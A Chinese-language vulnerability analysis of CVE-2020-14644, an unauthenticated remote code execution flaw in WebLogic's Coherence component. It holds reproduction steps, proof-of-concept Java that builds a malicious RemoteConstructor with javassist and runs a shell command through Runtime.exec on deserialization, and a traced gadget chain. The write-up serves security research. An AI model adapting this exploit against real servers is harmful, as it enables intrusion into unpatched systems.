简介

2020年7月,Oracle发布了关键升级补丁(Critical Patch Update),其中包含编号为CVE-2020-14644 的漏洞修复。

WebLogic的核心coherence组件存在严重的安全漏洞,可以在无需账户登录的情况下,通过发送精心恶意的IIOP协议数据包,进行反序列化攻击完成远程任意命令执行。

image-20200812223609897

受影响的版本:

  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞复现

漏洞环境:

  • java version “1.8.0_112”
  • WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
  • IDEA DEBUG
  • 使用github项目进行攻击与分析

看看整个项目的结构:

image-20200813100544872

相关代码包含三个文件:

  • App为攻击项目的入口,POC构造的逻辑,字节码处理等

  • test为包含恶意命令类,会被App进行字节码处理

  • Serializables为序列化工具类

lib库包含两个jar文件,同样需要添加到项目中

image-20200813103939451

WebLogic 12.2.1.4.0可以使用项目自带的,其他的版本最好使用和目标版本一致的

coherence.jar的位置

1
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar

wlfullclient.jar需要手动生成

1
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar

运行后在会生成wlfullclient.jar,路径为:

1
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar

然后可以使用脚本进行攻击,因为有回显的,所以需要运行两次

image-20200813105859159

javassist

javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

Ysoserial在生成Payload中也是使用的javassist类库。

几个重要的Javassist类对象:

  • ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。

  • CtClassCtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。

  • CtMethods:表示类中的方法。

  • CtFields:表示类中的字段。

创建ClassPool对象

1
2
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();

使用的是默认系统的类搜索路径获取ClassPool对象

添加类搜索路径

1
2
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");

将类搜索路径插入到搜索路径,或者将目录作为类搜索路径

查找并获取CtClass对象

1
2
3
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");

依据keyHash表中查找对应的CtClass对象

CtClass可被修改

1
2
3
4
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));

修改并设置父类

1
byte[] b = ctClass.toBytecode();

获取修改后的字节码

1
Class clazz = ctClass.toClass();

转换成Class对象

分析

为了方便分析,可以简化攻击代码,本地模拟序列化和反序列化的过程,完成攻击。

test1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.unicodesec;

import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;

import java.io.IOException;
import java.rmi.RemoteException;


public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {


public test1() throws IOException {
String cmd = "touch /tmp/rai4over";
Runtime.getRuntime().exec(cmd);

}


@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}

@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

}

@Override
public void setServerLocation(String s, String s1) throws RemoteException {

}

@Override
public String getServerLocation(String s) throws RemoteException {
return null;
}
}

test1实现com.tangosol.internal.util.invoke.RemotableClusterMasterRemote接口,并且在无参数的构造函数中包含执行的命令。

RCETEST.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.unicodesec;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;

public class RCETEST {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj);
}
}

大致为使用javassist修改恶意的test1.java的字节码文件,这里和ysoserial-payloads-CommonsCollections2的操作是一个套路,装入恶意的RemoteConstructor对象并序列化,然后反序列化触发。

Gadget chain

开始分析POC的构造,首先是new ClassIdentity(org.unicodesec.test1.class),将恶意test1的class作为参数传入创建ClassIdentity对象。

com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)

image-20200813121631735

clazz.getPackage().getName().replace('.', '/')获取包名并替换后为org/unicodesec

clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)获取类名并截取后变为test1

Base.toHex(md5(clazz))为MD5值81646C2598E743F9FE254AB93A0FBE14

然后传递到另一个构造参数。

com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)

image-20200813130344386

分别赋值给m_sPackagem_sVersionm_sBaseName成员,然后返回ClassIdentity类的实例化对象。

image-20200813133049428

接着创建ClassPool对象,org.unicodesec.test1.class.getName()也就是test1,修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14,接着将修改后test1的字节码和生成ClassIdentity对象作为参数创建ClassDefinition对象。

com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])

image-20200813133141027

将传入的ClassIdentity对象和test1字节码文件分别存储,然后还获取了ClassName并进行长度判断。创建的ClassDefinition对象又会作为参数创建RemoteConstructor对象。

com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])

image-20200813134409199

第二个参数是空的,整个RemoteConstructor对象结构如下:

image-20200813134645605

RemoteConstructor对象中包含创建和修改的各个对象。

image-20200813135454537

整个恶意类接下来就是使用Serializables工具类序列化RemoteConstructor对象,然后模拟Weblogic中IIOP通讯,反序列化该对象。

com.tangosol.internal.util.invoke.RemoteConstructor#readResolve

image-20200813140241845

和之前常见的java反序列化readObject作为入口不同,这次的问题出在用于检查反序列化对象是否唯一readResolve(单例模式),然后调用newInstance

com.tangosol.internal.util.invoke.RemoteConstructor#newInstance

image-20200813140842398

获取继承ClassLoader对象的RemotableSupport对象,然后将RemoteConstructor传入support.realize函数。

com.tangosol.internal.util.invoke.RemotableSupport#realize

image-20200813141536894

首先constructor.getDefinition()获取了ClassDefinition对象,然后传入registerIfAbsent函数

com.tangosol.internal.util.invoke.ClassDefinition

image-20200813142245377

根据IDClassDefinition对象存储在MAP类的this.f_mapDefinitions中,然后返回ClassDefinition对象

com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions

image-20200813142823246

返回到realize,然后调用definition.setRemotableClass(this.defineClass(definition)),先看this.defineClass

com.tangosol.internal.util.invoke.RemotableSupport#defineClass

image-20200813143811368

com.tangosol.internal.util.invoke.ClassDefinition#getBytes

image-20200813144023230

definition.getBytes()会返回test1的字节码

java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)

image-20200813144229125

RemotableSupport对象利用继承ClassLoaderdefineClass方法加载test1的字节码,返回test1-Class对象传入definition.setRemotableClass方法。

com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass

image-20200813144506366

test1-Class对象存入ClassDefinition对象的m_clz,然后通过getDeclaredConstructors获取test1的构造函数数组。

构造函数数量为1,进入if分支,使用MethodHandles查找类中的构造方法,并存储到m_mhCtor成员。

java.lang.invoke.MethodHandles.Lookup#findConstructor

image-20200813145751221

返回到realize函数,调用definition.createInstance函数

com.tangosol.internal.util.invoke.ClassDefinition#createInstance

image-20200813153147829

这里是一个链式调用,跟进this.getConstructor

com.tangosol.internal.util.invoke.ClassDefinition#getConstructor

image-20200813153259948

会返回存储test1构造函数的MethodHandle对象,构造函数中包含恶意命令,然后反射执行构造函数,完成任意命令执行,此时的调用栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)

参考

https://www.oracle.com/security-alerts/cpujul2020.html

https://www.cnblogs.com/ph4nt0mer/p/13469690.html

https://paper.seebug.org/1281/